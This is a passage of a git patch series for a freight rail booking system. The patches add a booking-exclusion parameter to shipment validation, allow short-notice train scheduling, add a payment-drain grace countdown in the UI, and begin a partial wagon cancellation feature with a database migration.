bookingId?: string, ) { - return this.contractBookingService.validateShipment(id, dto); + return this.contractBookingService.validateShipment(id, dto, bookingId); } @Get(':id/capacity') diff --git a/apps/edr-freight-web/backoffice/src/components/contracts/GlCreateBookingForm.tsx b/apps/edr-freight-web/backoffice/src/components/contracts/GlCreateBookingForm.tsx index 52f7ee40d..42ecbce61 100644 --- a/apps/edr-freight-web/backoffice/src/components/contracts/GlCreateBookingForm.tsx +++ b/apps/edr-freight-web/backoffice/src/components/contracts/GlCreateBookingForm.tsx @@ -961,7 +961,7 @@ export default function GlCreateBookingForm() { // modal falls back to the contract unit-rate estimate while it loads. const validateShipmentMutation = useMutation({ mutationFn: (dto: Freight.CreateBookingUnderContractDto) => - contractsService.validateShipment(id ?? "", dto), + contractsService.validateShipment(id ?? "", dto, completeBookingId), }); const validation = validateShipmentMutation.data ?? null; diff --git a/apps/edr-freight-web/backoffice/src/services/contracts.service.ts b/apps/edr-freight-web/backoffice/src/services/contracts.service.ts index c0a397d7f..37971cb96 100644 --- a/apps/edr-freight-web/backoffice/src/services/contracts.service.ts +++ b/apps/edr-freight-web/backoffice/src/services/contracts.service.ts @@ -673,8 +673,16 @@ export const contractsService = { validateShipment: ( id: string, payload: Freight.CreateBookingUnderContractDto, + // Completion/resubmit preview: exclude this booking's own containers from + // the same-train clash check. + excludeBookingId?: string, ) => - postContract(C.VALIDATE_SHIPMENT(id), payload), + postContract( + excludeBookingId + ? `${C.VALIDATE_SHIPMENT(id)}?bookingId=${excludeBookingId}` + : C.VALIDATE_SHIPMENT(id), + payload, + ), /** Remaining bookable quantity per cargo line (GENERAL draw-down cap). */ getCapacity: async (id: string): Promise => { diff --git a/apps/edr-freight-web/portal/src/pages/contracts/NewShipmentPage.tsx b/apps/edr-freight-web/portal/src/pages/contracts/NewShipmentPage.tsx index aab5d7de1..80fcabc8b 100644 --- a/apps/edr-freight-web/portal/src/pages/contracts/NewShipmentPage.tsx +++ b/apps/edr-freight-web/portal/src/pages/contracts/NewShipmentPage.tsx @@ -483,7 +483,12 @@ function NewShipmentBookingForm({ // price modal opens so re-reviewing after an edit re-checks. const validateMutation = useMutation({ mutationFn: (dto: Freight.CreateBookingUnderContractDto) => - api.contracts.validateShipment.call({ id: contractId, dto }), + api.contracts.validateShipment.call({ + id: contractId, + dto, + // Resubmit preview must not clash with this booking's own containers. + excludeBookingId: completeBookingId, + }), }); function buildDto( diff --git a/apps/edr-freight-web/portal/src/services/api.ts b/apps/edr-freight-web/portal/src/services/api.ts index 7546fedbc..3d00a5f16 100644 --- a/apps/edr-freight-web/portal/src/services/api.ts +++ b/apps/edr-freight-web/portal/src/services/api.ts @@ -610,10 +610,14 @@ export const api = { ), validateShipment: endpoint< - { id: string; dto: Freight.CreateBookingUnderContractDto }, + { + id: string; + dto: Freight.CreateBookingUnderContractDto; + excludeBookingId?: string; + }, ShipmentValidation - >("contracts", "validateShipment", ({ id, dto }) => - contractsService.validateShipment(id, dto), + >("contracts", "validateShipment", ({ id, dto, excludeBookingId }) => + contractsService.validateShipment(id, dto, excludeBookingId), ), getContractMilestones: endpoint< diff --git a/apps/edr-freight-web/portal/src/services/contracts.service.ts b/apps/edr-freight-web/portal/src/services/contracts.service.ts index 2ce09d4cc..3842296ef 100644 --- a/apps/edr-freight-web/portal/src/services/contracts.service.ts +++ b/apps/edr-freight-web/portal/src/services/contracts.service.ts @@ -400,8 +400,13 @@ export const contractsService = { validateShipment: async ( id: string, dto: Freight.CreateBookingUnderContractDto, + // Completion/resubmit: exclude this booking's own containers from the + // same-train clash check. + excludeBookingId?: string, ): Promise => { - const { data } = await client.post(C.VALIDATE_SHIPMENT(id), dto); + const { data } = await client.post(C.VALIDATE_SHIPMENT(id), dto, { + params: excludeBookingId ? { bookingId: excludeBookingId } : undefined, + }); return data.data ?? data; }, From 29f7d05800a0c991c6e60423c1bef52f8c79cf87 Mon Sep 17 00:00:00 2001 From: Marshal Date: Thu, 6 Aug 2026 23:18:48 +0000 Subject: [PATCH 20/48] allow create inside lead window --- .../train-scheduling.service.ts | 26 +++++++------------ 1 file changed, 9 insertions(+), 17 deletions(-) diff --git a/apps/edr-freight-api/src/modules/train-scheduling/train-scheduling.service.ts b/apps/edr-freight-api/src/modules/train-scheduling/train-scheduling.service.ts index df5c44fde..e8ed6ff4b 100644 --- a/apps/edr-freight-api/src/modules/train-scheduling/train-scheduling.service.ts +++ b/apps/edr-freight-api/src/modules/train-scheduling/train-scheduling.service.ts @@ -1546,23 +1546,10 @@ export class TrainSchedulingService { } : globalCfg; - // Staff cannot schedule inside the lead window — there must be room for a - // booking window before departure. IMPORT/DOMESTIC lead is in whole EAT - // days (lead 3, today 11th → first allowed departure is the 14th); EXPORT - // lead is in hours (24h = 1 day ahead). Checked against the schedule's OWN - // lead, so a custom lead is honoured rather than rejected by the global one. - const earliest = earliestSchedulableDeparture(direction, windowCfg, new Date()); - if (departure.getTime() < earliest.getTime()) { - const detail = - direction === 'EXPORT' - ? `at least ${windowCfg.exportBookingLeadHours} hour(s) ahead` - : `at least ${windowCfg.importWindowLeadDays} day(s) ahead`; - throw new BadRequestException( - `Departure ${departure.toISOString()} is inside the booking lead window; ` + - `${direction === 'EXPORT' ? 'export' : 'import'} trains must be scheduled ${detail} ` + - `(earliest ${earliest.toISOString()})`, - ); - } + // Short-notice trains are allowed: a departure inside the booking lead + // window is NOT rejected — the window just opens immediately (opensAt is + // clamped to `now` below) instead of waiting out a lead that has already + // passed. Only `updateScheduleDate` still enforces the lead floor. // Freeze the rule this schedule is born with. A later global-rules edit // only re-derives NOT-YET-OPEN schedules (see restampPendingWindows); an @@ -1577,6 +1564,11 @@ export class TrainSchedulingService { ...ruleSnapshot, ...computeImportWindowTimes(departure, windowCfg, new Date()), }; + // Inside-lead departure (e.g. a huge configured lead): the raw open lands + // in the past — clamp it to `now` so the window tick opens it immediately. + if (computedTimes.windowOpensAt.getTime() < Date.now()) { + computedTimes.windowOpensAt = new Date(); + } if ( computedTimes.windowOpensAt.getTime() >= computedTimes.windowClosesAt.getTime() ) { From 0f4aa1128f12d6c672c2151637668b74376ae404 Mon Sep 17 00:00:00 2001 From: Marshal Date: Thu, 6 Aug 2026 23:48:06 +0000 Subject: [PATCH 21/48] giveme git commit message 50 char --- .../booking-batch.constants.ts | 13 ++++ .../booking-window.gateway.ts | 2 + .../train-scheduling/pay-window-drain.spec.ts | 13 ++++ .../train-scheduling.service.ts | 2 + .../contracts/GlUpcomingWindowsSection.tsx | 27 ++++++-- .../bookingWindows/useBookingWindowSocket.ts | 2 + .../bookingWindows/useBookingWindowSocket.ts | 1 + .../components/UpcomingWindowsSection.tsx | 25 ++++++-- .../ContractBookingWindowsSection.tsx | 25 ++++++-- .../portal/src/services/bookings.service.ts | 2 + .../types/src/freight/booking-window-ws.ts | 5 ++ .../CountdownTimer/CountdownTimer.tsx | 63 +++++++++++++------ 12 files changed, 147 insertions(+), 33 deletions(-) diff --git a/apps/edr-freight-api/src/modules/train-scheduling/booking-batch.constants.ts b/apps/edr-freight-api/src/modules/train-scheduling/booking-batch.constants.ts index 45370f546..b7b907e5b 100644 --- a/apps/edr-freight-api/src/modules/train-scheduling/booking-batch.constants.ts +++ b/apps/edr-freight-api/src/modules/train-scheduling/booking-batch.constants.ts @@ -31,6 +31,19 @@ export function paymentDrainMs(): number { ); } +/** + * ISO timestamp of the end of a pay window's drain tail, for client display + * (the "payment processing" countdown). Null in ⇒ null out. + */ +export function paymentDrainEndsAtIso( + deadline: Date | string | null | undefined, +): string | null { + if (deadline == null) return null; + const ms = new Date(deadline).getTime(); + if (!Number.isFinite(ms)) return null; + return new Date(ms + paymentDrainMs()).toISOString(); +} + /** * A pay window AND its drain tail have closed. * diff --git a/apps/edr-freight-api/src/modules/train-scheduling/booking-window.gateway.ts b/apps/edr-freight-api/src/modules/train-scheduling/booking-window.gateway.ts index 69e60dd3a..dbf0cae96 100644 --- a/apps/edr-freight-api/src/modules/train-scheduling/booking-window.gateway.ts +++ b/apps/edr-freight-api/src/modules/train-scheduling/booking-window.gateway.ts @@ -14,6 +14,7 @@ import { Server, Socket } from 'socket.io'; import { WsAuthService } from '../notification-inbox/ws-auth.service'; import { TrainSchedule } from '../train-schedules/entities/train-schedule.entity'; +import { paymentDrainEndsAtIso } from './booking-batch.constants'; /** * Server → client push for booking-window state changes. Same handshake model @@ -61,6 +62,7 @@ export class BookingWindowGateway implements OnGatewayConnection { windowClosesAt: schedule.windowClosesAt?.toISOString() ?? null, docReviewEndsAt: schedule.docReviewEndsAt?.toISOString() ?? null, paymentPhaseEndsAt: schedule.paymentPhaseEndsAt?.toISOString() ?? null, + paymentDrainEndsAt: paymentDrainEndsAtIso(schedule.paymentPhaseEndsAt), scheduledDepartureDate: schedule.scheduledDepartureDate?.toISOString() ?? null, }; this.server.emit(BOOKING_WINDOW_WS_EVENTS.PHASE, payload); diff --git a/apps/edr-freight-api/src/modules/train-scheduling/pay-window-drain.spec.ts b/apps/edr-freight-api/src/modules/train-scheduling/pay-window-drain.spec.ts index 6054f28b2..bde0e88ec 100644 --- a/apps/edr-freight-api/src/modules/train-scheduling/pay-window-drain.spec.ts +++ b/apps/edr-freight-api/src/modules/train-scheduling/pay-window-drain.spec.ts @@ -1,5 +1,6 @@ import { DEFAULT_PAYMENT_DRAIN_MINUTES, + paymentDrainEndsAtIso, paymentDrainMs, payWindowLapsed, } from "./booking-batch.constants"; @@ -64,4 +65,16 @@ describe("payWindowLapsed — pay-window drain tail", () => { expect(paymentDrainMs()).toBe(DEFAULT_PAYMENT_DRAIN_MINUTES * MIN); } }); + + it("paymentDrainEndsAtIso reports deadline + drain, null/garbage-safe", () => { + expect(paymentDrainEndsAtIso(deadline)).toBe( + new Date(at(DEFAULT_PAYMENT_DRAIN_MINUTES * MIN)).toISOString(), + ); + expect(paymentDrainEndsAtIso(deadline.toISOString())).toBe( + new Date(at(DEFAULT_PAYMENT_DRAIN_MINUTES * MIN)).toISOString(), + ); + expect(paymentDrainEndsAtIso(null)).toBeNull(); + expect(paymentDrainEndsAtIso(undefined)).toBeNull(); + expect(paymentDrainEndsAtIso("not-a-date")).toBeNull(); + }); }); diff --git a/apps/edr-freight-api/src/modules/train-scheduling/train-scheduling.service.ts b/apps/edr-freight-api/src/modules/train-scheduling/train-scheduling.service.ts index e8ed6ff4b..9a03f665c 100644 --- a/apps/edr-freight-api/src/modules/train-scheduling/train-scheduling.service.ts +++ b/apps/edr-freight-api/src/modules/train-scheduling/train-scheduling.service.ts @@ -153,6 +153,7 @@ import { DEFAULT_CONTAINER_WAGON_CAPACITY_TONS, DEFAULT_CONTAINER_WAGON_LENGTH_METERS, DEFAULT_CONTAINER_WAGON_TARE_TONS, + paymentDrainEndsAtIso, } from './booking-batch.constants'; import { orderConsistWagons } from './consist-order.util'; import { @@ -6940,6 +6941,7 @@ export class TrainSchedulingService { windowClosesAt: r.window_closes_at, docReviewEndsAt: r.doc_review_ends_at, paymentPhaseEndsAt: r.payment_phase_ends_at, + paymentDrainEndsAt: paymentDrainEndsAtIso(r.payment_phase_ends_at), bookingWindowStatus: r.booking_window_status, bookingCycleNo: r.booking_cycle_no, departureDate: r.scheduled_departure_date, diff --git a/apps/edr-freight-web/backoffice/src/components/contracts/GlUpcomingWindowsSection.tsx b/apps/edr-freight-web/backoffice/src/components/contracts/GlUpcomingWindowsSection.tsx index ba9e01402..df1a66330 100644 --- a/apps/edr-freight-web/backoffice/src/components/contracts/GlUpcomingWindowsSection.tsx +++ b/apps/edr-freight-web/backoffice/src/components/contracts/GlUpcomingWindowsSection.tsx @@ -39,6 +39,8 @@ interface WindowRow { windowClosesAt: string | null; docReviewEndsAt: string | null; paymentPhaseEndsAt: string | null; + /** End of the payment drain tail — pending payments may settle until then. */ + paymentDrainEndsAt?: string | null; bookingWindowStatus: string; bookingCycleNo: number; departureDate: string; @@ -94,16 +96,29 @@ const COUNTDOWN_TEXT: Partial< PRE_WINDOW: { label: "Opens in", expiredText: "Opening now…" }, OPEN: { label: "Closes in", expiredText: "Review starting…" }, DOC_REVIEW: { label: "Doc review ends in", expiredText: "Payment starting…" }, - PAYMENT: { label: "Payment ends in", expiredText: "Closing…" }, + PAYMENT: { label: "Payment ends in", expiredText: "Finalizing…" }, }; -function phaseCountdown( - w: WindowRow, -): { label: string; deadline: string; expiredText: string } | null { +function phaseCountdown(w: WindowRow): { + label: string; + deadline: string; + expiredText: string; + graceDeadline?: string | null; + graceLabel?: string; +} | null { const state = bookingWindowUiState(w); const text = COUNTDOWN_TEXT[state.kind]; if (!state.countdownTo || !text) return null; - return { ...text, deadline: state.countdownTo }; + // Once the pay deadline lapses, pending payments still settle during the + // drain tail — count it down as "processing" instead of a stale "closing". + const grace = + state.kind === "PAYMENT" && w.paymentDrainEndsAt + ? { + graceDeadline: w.paymentDrainEndsAt, + graceLabel: "Processing payments — closes in", + } + : undefined; + return { ...text, deadline: state.countdownTo, ...grace }; } /** Badge label + Mantine color per UI state — same state the countdown uses. */ @@ -225,6 +240,8 @@ function WindowCard({ w }: { w: WindowRow }) { deadline={cd.deadline} label={cd.label} expiredText={cd.expiredText} + graceDeadline={cd.graceDeadline} + graceLabel={cd.graceLabel} size="xs" /> diff --git a/apps/edr-freight-web/backoffice/src/features/bookingWindows/useBookingWindowSocket.ts b/apps/edr-freight-web/backoffice/src/features/bookingWindows/useBookingWindowSocket.ts index b9195b1ff..59318f703 100644 --- a/apps/edr-freight-web/backoffice/src/features/bookingWindows/useBookingWindowSocket.ts +++ b/apps/edr-freight-web/backoffice/src/features/bookingWindows/useBookingWindowSocket.ts @@ -30,6 +30,7 @@ interface WindowRow { windowClosesAt: string | null; docReviewEndsAt: string | null; paymentPhaseEndsAt: string | null; + paymentDrainEndsAt?: string | null; bookingWindowStatus: string; bookingCycleNo: number; departureDate: string; @@ -55,6 +56,7 @@ function applyEvent(row: T, event: BookingWindowPhaseEvent) windowClosesAt: event.windowClosesAt, docReviewEndsAt: event.docReviewEndsAt, paymentPhaseEndsAt: event.paymentPhaseEndsAt, + paymentDrainEndsAt: event.paymentDrainEndsAt, departureDate: event.scheduledDepartureDate ?? row.departureDate, }; } diff --git a/apps/edr-freight-web/portal/src/features/bookingWindows/useBookingWindowSocket.ts b/apps/edr-freight-web/portal/src/features/bookingWindows/useBookingWindowSocket.ts index 6df836357..7c33f5849 100644 --- a/apps/edr-freight-web/portal/src/features/bookingWindows/useBookingWindowSocket.ts +++ b/apps/edr-freight-web/portal/src/features/bookingWindows/useBookingWindowSocket.ts @@ -47,6 +47,7 @@ function applyEvent( windowClosesAt: event.windowClosesAt, docReviewEndsAt: event.docReviewEndsAt, paymentPhaseEndsAt: event.paymentPhaseEndsAt, + paymentDrainEndsAt: event.paymentDrainEndsAt, departureDate: event.scheduledDepartureDate ?? row.departureDate, }; } diff --git a/apps/edr-freight-web/portal/src/pages/MyPortalPage/components/UpcomingWindowsSection.tsx b/apps/edr-freight-web/portal/src/pages/MyPortalPage/components/UpcomingWindowsSection.tsx index 50e142708..c4bb03ed6 100644 --- a/apps/edr-freight-web/portal/src/pages/MyPortalPage/components/UpcomingWindowsSection.tsx +++ b/apps/edr-freight-web/portal/src/pages/MyPortalPage/components/UpcomingWindowsSection.tsx @@ -68,16 +68,29 @@ const COUNTDOWN_TEXT: Partial< PRE_WINDOW: { label: "Booking opens in", expiredText: "Booking opening now…" }, OPEN: { label: "Window closes in", expiredText: "Document review starting…" }, DOC_REVIEW: { label: "Document review ends in", expiredText: "Payment starting…" }, - PAYMENT: { label: "Payment due in", expiredText: "Payment window closing…" }, + PAYMENT: { label: "Payment due in", expiredText: "Finalizing payments…" }, }; -function phaseCountdown( - w: MyBookingWindow, -): { label: string; deadline: string; expiredText: string } | null { +function phaseCountdown(w: MyBookingWindow): { + label: string; + deadline: string; + expiredText: string; + graceDeadline?: string | null; + graceLabel?: string; +} | null { const state = bookingWindowUiState(w); const text = COUNTDOWN_TEXT[state.kind]; if (!state.countdownTo || !text) return null; - return { ...text, deadline: state.countdownTo }; + // Once the pay deadline lapses, pending payments still settle during the + // drain tail — count it down as "processing" instead of a stale "closing". + const grace = + state.kind === "PAYMENT" && w.paymentDrainEndsAt + ? { + graceDeadline: w.paymentDrainEndsAt, + graceLabel: "Payment processing — closes in", + } + : undefined; + return { ...text, deadline: state.countdownTo, ...grace }; } function Pill({ @@ -336,6 +349,8 @@ export const UpcomingWindowsSection = memo(function UpcomingWindowsSection({ deadline={cd.deadline} label={cd.label} expiredText={cd.expiredText} + graceDeadline={cd.graceDeadline} + graceLabel={cd.graceLabel} size="xs" /> diff --git a/apps/edr-freight-web/portal/src/pages/contracts/ContractBookingWindowsSection.tsx b/apps/edr-freight-web/portal/src/pages/contracts/ContractBookingWindowsSection.tsx index a8d9d0830..c4fa72977 100644 --- a/apps/edr-freight-web/portal/src/pages/contracts/ContractBookingWindowsSection.tsx +++ b/apps/edr-freight-web/portal/src/pages/contracts/ContractBookingWindowsSection.tsx @@ -104,16 +104,29 @@ const COUNTDOWN_TEXT: Partial< PRE_WINDOW: { label: "Booking opens in", expiredText: "Booking opening now…" }, OPEN: { label: "Window closes in", expiredText: "Document review starting…" }, DOC_REVIEW: { label: "Document review ends in", expiredText: "Payment starting…" }, - PAYMENT: { label: "Payment due in", expiredText: "Payment window closing…" }, + PAYMENT: { label: "Payment due in", expiredText: "Finalizing payments…" }, }; -function phaseCountdown( - w: MyBookingWindow, -): { label: string; deadline: string; expiredText: string } | null { +function phaseCountdown(w: MyBookingWindow): { + label: string; + deadline: string; + expiredText: string; + graceDeadline?: string | null; + graceLabel?: string; +} | null { const state = bookingWindowUiState(w); const text = COUNTDOWN_TEXT[state.kind]; if (!state.countdownTo || !text) return null; - return { ...text, deadline: state.countdownTo }; + // Once the pay deadline lapses, pending payments still settle during the + // drain tail — count it down as "processing" instead of a stale "closing". + const grace = + state.kind === "PAYMENT" && w.paymentDrainEndsAt + ? { + graceDeadline: w.paymentDrainEndsAt, + graceLabel: "Payment processing — closes in", + } + : undefined; + return { ...text, deadline: state.countdownTo, ...grace }; } /** @@ -226,6 +239,8 @@ function WindowCard({ w }: { w: MyBookingWindow }) { deadline={cd.deadline} label={cd.label} expiredText={cd.expiredText} + graceDeadline={cd.graceDeadline} + graceLabel={cd.graceLabel} size="xs" /> diff --git a/apps/edr-freight-web/portal/src/services/bookings.service.ts b/apps/edr-freight-web/portal/src/services/bookings.service.ts index 4aba2c734..dd00a0045 100644 --- a/apps/edr-freight-web/portal/src/services/bookings.service.ts +++ b/apps/edr-freight-web/portal/src/services/bookings.service.ts @@ -91,6 +91,8 @@ export interface MyBookingWindow { windowClosesAt: string | null; docReviewEndsAt: string | null; paymentPhaseEndsAt: string | null; + /** End of the payment drain tail — pending payments may settle until then. */ + paymentDrainEndsAt: string | null; bookingWindowStatus: string; bookingCycleNo: number; departureDate: string; diff --git a/packages/types/src/freight/booking-window-ws.ts b/packages/types/src/freight/booking-window-ws.ts index 3fd3c4d7b..be0dc9c13 100644 --- a/packages/types/src/freight/booking-window-ws.ts +++ b/packages/types/src/freight/booking-window-ws.ts @@ -29,6 +29,11 @@ export interface BookingWindowPhaseEvent { windowClosesAt: string | null; docReviewEndsAt: string | null; paymentPhaseEndsAt: string | null; + /** + * When the payment drain tail ends (paymentPhaseEndsAt + server drain + * minutes) — pending payments may still settle until then. Display only. + */ + paymentDrainEndsAt: string | null; scheduledDepartureDate: string | null; } diff --git a/packages/ui-common/src/components/CountdownTimer/CountdownTimer.tsx b/packages/ui-common/src/components/CountdownTimer/CountdownTimer.tsx index faadb0adf..1a906d96e 100644 --- a/packages/ui-common/src/components/CountdownTimer/CountdownTimer.tsx +++ b/packages/ui-common/src/components/CountdownTimer/CountdownTimer.tsx @@ -1,4 +1,4 @@ -import { Group, Text } from "@mantine/core"; +import { Group, Loader, Text } from "@mantine/core"; import { Clock } from "lucide-react"; import { useEffect, useState } from "react"; @@ -9,6 +9,14 @@ export interface CountdownTimerProps { label?: string; /** Text shown once the deadline has passed. */ expiredText?: string; + /** + * Optional grace stage: once `deadline` passes, count down to this later + * ISO timestamp instead (e.g. the payment drain tail). `expiredText` then + * only shows after the grace deadline has also passed. + */ + graceDeadline?: string | null; + /** Label shown while counting down the grace stage (e.g. "Payment processing — closes in"). */ + graceLabel?: string; /** Visual size of the time text. */ size?: "xs" | "sm" | "md" | "lg"; /** Colour once under this many seconds remain (urgency). Default 300 (5 min). */ @@ -35,37 +43,56 @@ function formatRemaining(ms: number): string { /** * Live countdown to an ISO deadline. Ticks once a second, shows the remaining * time (d/h/m/s), turns red when under `urgentUnderSeconds`, and shows - * `expiredText` once the deadline is in the past. Display only — enforcement - * lives server-side. + * `expiredText` once the deadline is in the past. When `graceDeadline` is set, + * a lapsed main deadline rolls into a calm second-stage countdown (spinner, + * no urgency colours) toward it before `expiredText` takes over. Display only + * — enforcement lives server-side. */ export function CountdownTimer({ deadline, label, expiredText = "Expired", + graceDeadline, + graceLabel, size = "sm", urgentUnderSeconds = 300, }: CountdownTimerProps) { - const [remaining, setRemaining] = useState(() => - deadline ? new Date(deadline).getTime() - Date.now() : null, - ); + const [now, setNow] = useState(() => Date.now()); useEffect(() => { - if (!deadline) { - setRemaining(null); - return; - } - const target = new Date(deadline).getTime(); - const tick = () => setRemaining(target - Date.now()); - tick(); - const id = setInterval(tick, 1000); + if (!deadline) return; + setNow(Date.now()); + const id = setInterval(() => setNow(Date.now()), 1000); return () => clearInterval(id); - }, [deadline]); + }, [deadline, graceDeadline]); - if (!deadline || remaining == null || Number.isNaN(remaining)) { - return null; + if (!deadline) return null; + const target = new Date(deadline).getTime(); + if (Number.isNaN(target)) return null; + + const remaining = target - now; + const expired = remaining <= 0; + + const graceTarget = graceDeadline ? new Date(graceDeadline).getTime() : NaN; + const graceRemaining = Number.isNaN(graceTarget) ? 0 : graceTarget - now; + const inGrace = expired && graceRemaining > 0; + + if (inGrace) { + return ( + + + {graceLabel && ( + + {graceLabel} + + )} + + {formatRemaining(graceRemaining)} + + + ); } - const expired = remaining <= 0; const urgent = !expired && remaining <= urgentUnderSeconds * 1000; const color = expired ? "red.7" : urgent ? "orange.7" : "dimmed"; From eb1349e8463bb5f358c47208b743cf57a51aef6a Mon Sep 17 00:00:00 2001 From: Marshal Date: Fri, 7 Aug 2026 05:48:23 +0000 Subject: [PATCH 22/48] fix wagon cncellation --- .../src/common/booking-guards.ts | 12 + ...3300000000000-BookingWagonCancellations.ts | 65 ++ .../bookings/booking-invoice.service.ts | 11 + .../booking-wagon-cancellation.service.ts | 778 ++++++++++++++++++ .../booking-wagon-cancellations.repository.ts | 85 ++ .../modules/bookings/bookings.controller.ts | 141 +++- .../src/modules/bookings/bookings.module.ts | 7 + .../bookings/dto/wagon-cancellation.dto.ts | 99 +++ .../booking-wagon-cancellation.entity.ts | 123 +++ .../src/seed/freight-permissions.registry.ts | 16 +- apps/edr-freight-web/backoffice/src/App.tsx | 18 + .../backoffice/src/lib/permissions.ts | 4 + .../pages/bookings/WagonCancellationsPage.tsx | 420 ++++++++++ .../BookingDetailPage/ReadonlyBookingView.tsx | 6 + .../BookingDetailPage/booking-detail-types.ts | 2 + .../components/WagonCancellationCard.tsx | 495 +++++++++++ .../bookings/payments/useBookingPayment.ts | 47 +- .../portal/src/services/api.ts | 18 + .../portal/src/services/bookings.service.ts | 131 +++ 19 files changed, 2467 insertions(+), 11 deletions(-) create mode 100644 apps/edr-freight-api/src/migrations/3300000000000-BookingWagonCancellations.ts create mode 100644 apps/edr-freight-api/src/modules/bookings/booking-wagon-cancellation.service.ts create mode 100644 apps/edr-freight-api/src/modules/bookings/booking-wagon-cancellations.repository.ts create mode 100644 apps/edr-freight-api/src/modules/bookings/dto/wagon-cancellation.dto.ts create mode 100644 apps/edr-freight-api/src/modules/bookings/entities/booking-wagon-cancellation.entity.ts create mode 100644 apps/edr-freight-web/backoffice/src/pages/bookings/WagonCancellationsPage.tsx create mode 100644 apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/components/WagonCancellationCard.tsx diff --git a/apps/edr-freight-api/src/common/booking-guards.ts b/apps/edr-freight-api/src/common/booking-guards.ts index 854594ffc..aba4ce495 100644 --- a/apps/edr-freight-api/src/common/booking-guards.ts +++ b/apps/edr-freight-api/src/common/booking-guards.ts @@ -31,6 +31,18 @@ export const BookingView = () => BookingStaff(FREIGHT_PERMS.bookings.view); export const BookingDocReviewAlert = () => BookingStaff(FREIGHT_PERMS.bookings.docReviewAlert); +/** Staff wagon-cancellation history list (admin side). */ +export const WagonCancellationView = () => + BookingStaff(FREIGHT_PERMS.bookings.wagonCancellationView); + +/** Staff void of a customer's pending (fee-unpaid) wagon cancellation. */ +export const WagonCancellationVoid = () => + BookingStaff(FREIGHT_PERMS.bookings.wagonCancellationVoid); + +/** Staff rebook of a customer's wagon-cancellation credit on their behalf. */ +export const WagonCancellationRebook = () => + BookingStaff(FREIGHT_PERMS.bookings.wagonCancellationRebook); + export const TrainSchedulingView = () => BookingStaff(FREIGHT_PERMS.trainScheduling.view); diff --git a/apps/edr-freight-api/src/migrations/3300000000000-BookingWagonCancellations.ts b/apps/edr-freight-api/src/migrations/3300000000000-BookingWagonCancellations.ts new file mode 100644 index 000000000..0d506cff0 --- /dev/null +++ b/apps/edr-freight-api/src/migrations/3300000000000-BookingWagonCancellations.ts @@ -0,0 +1,65 @@ +import { MigrationInterface, QueryRunner } from 'typeorm'; + +/** + * Partial wagon cancellation with rebooking credit. + * + * One row per cancellation cycle on a PAID booking: the customer asks to drop + * N wagons, pays a per-wagon cancellation fee (rates row + * rate_type = 'CANCELLATION_FEE', rate_unit = 'PER_WAGON'), and the dropped cargo becomes a + * rebookable credit. The credit is redeemed by creating a fresh booking + * through the normal under-contract create path (which re-checks contract + * validity and caps), immediately marked PAID — the freight was already paid + * on the original booking, only the fee is new money. + * + * cancelled_quantities carries what was cut, in the booking's own terms: + * `{ bulkTons }` for bulk, `{ bySize: { "20": 4, "40": 3 } }` for container. + * Container numbers are NOT stored here — they are recovered at rebook time + * from the unit rows the reduction soft-deleted (same hybrid pattern as + * RemainderPlacementService). + */ +export class BookingWagonCancellations3300000000000 implements MigrationInterface { + public async up(queryRunner: QueryRunner): Promise { + await queryRunner.query(` + CREATE TABLE IF NOT EXISTS freight.booking_wagon_cancellations ( + id uuid PRIMARY KEY DEFAULT gen_random_uuid(), + booking_id uuid NOT NULL REFERENCES freight.bookings(id), + rebooked_booking_id uuid REFERENCES freight.bookings(id), + wagons_cancelled numeric(6,2) NOT NULL CHECK (wagons_cancelled > 0), + weight_tons numeric(12,3) NOT NULL DEFAULT 0, + cancelled_quantities jsonb NOT NULL, + credit_amount numeric(14,2) NOT NULL DEFAULT 0, + fee_rate_id uuid REFERENCES freight.rates(id), + fee_amount numeric(14,2) NOT NULL CHECK (fee_amount >= 0), + fee_currency varchar(8) NOT NULL DEFAULT 'ETB', + fee_invoice_id uuid REFERENCES freight.invoices(id), + fee_paid_at timestamptz, + status varchar(30) NOT NULL DEFAULT 'FEE_PENDING', + reason text, + requested_by_user_id uuid, + rebooked_at timestamptz, + created_at timestamptz NOT NULL DEFAULT now(), + updated_at timestamptz NOT NULL DEFAULT now(), + deleted_at timestamptz + ) + `); + // One open (fee-unpaid) cancellation per booking — closes the double-click + // race without app-level locking. + await queryRunner.query(` + CREATE UNIQUE INDEX IF NOT EXISTS uq_open_wagon_cancellation_per_booking + ON freight.booking_wagon_cancellations (booking_id) + WHERE status = 'FEE_PENDING' AND deleted_at IS NULL + `); + await queryRunner.query(` + CREATE INDEX IF NOT EXISTS idx_bwc_booking + ON freight.booking_wagon_cancellations (booking_id) + `); + await queryRunner.query(` + CREATE INDEX IF NOT EXISTS idx_bwc_status + ON freight.booking_wagon_cancellations (status) + `); + } + + public async down(queryRunner: QueryRunner): Promise { + await queryRunner.query(`DROP TABLE IF EXISTS freight.booking_wagon_cancellations`); + } +} diff --git a/apps/edr-freight-api/src/modules/bookings/booking-invoice.service.ts b/apps/edr-freight-api/src/modules/bookings/booking-invoice.service.ts index faeab8cee..91b8362e4 100644 --- a/apps/edr-freight-api/src/modules/bookings/booking-invoice.service.ts +++ b/apps/edr-freight-api/src/modules/bookings/booking-invoice.service.ts @@ -20,6 +20,10 @@ import { FirstMileService } from "../first-mile/first-mile.service"; import { BookingBatchService } from "../train-scheduling/booking-batch.service"; import { PriceLineItemDto } from "./dto/generate-price-response.dto"; import { BookingsRepository } from "./bookings.repository"; +import { + BookingWagonCancellationService, + WAGON_CANCEL_FEE_INVOICE_TYPE, +} from "./booking-wagon-cancellation.service"; import { Booking } from "./entities/booking.entity"; /** Snapshot written onto `booking.pricingBreakdown` by the pricing service. */ @@ -58,6 +62,8 @@ export class BookingInvoiceService { private readonly firstMile: FirstMileService, @Inject(forwardRef(() => BookingBatchService)) private readonly bookingBatch: BookingBatchService, + @Inject(forwardRef(() => BookingWagonCancellationService)) + private readonly wagonCancellations: BookingWagonCancellationService, ) { } /** @@ -123,6 +129,11 @@ export class BookingInvoiceService { await this.bookingBatch.reviveOfferForInvoice(payload.invoiceId); await this.advanceBookingOnPayment(payload.sourceId); break; + case WAGON_CANCEL_FEE_INVOICE_TYPE: + // Partial wagon cancellation: the fee settled — reduce the booking and + // release the cancelled wagons (T2 of the cancellation cycle). + await this.wagonCancellations.onFeePaid(payload.invoiceId); + break; default: this.logger.warn( `Unhandled booking invoice type "${payload.type}" paid (${payload.invoiceId})`, diff --git a/apps/edr-freight-api/src/modules/bookings/booking-wagon-cancellation.service.ts b/apps/edr-freight-api/src/modules/bookings/booking-wagon-cancellation.service.ts new file mode 100644 index 000000000..2e859fd94 --- /dev/null +++ 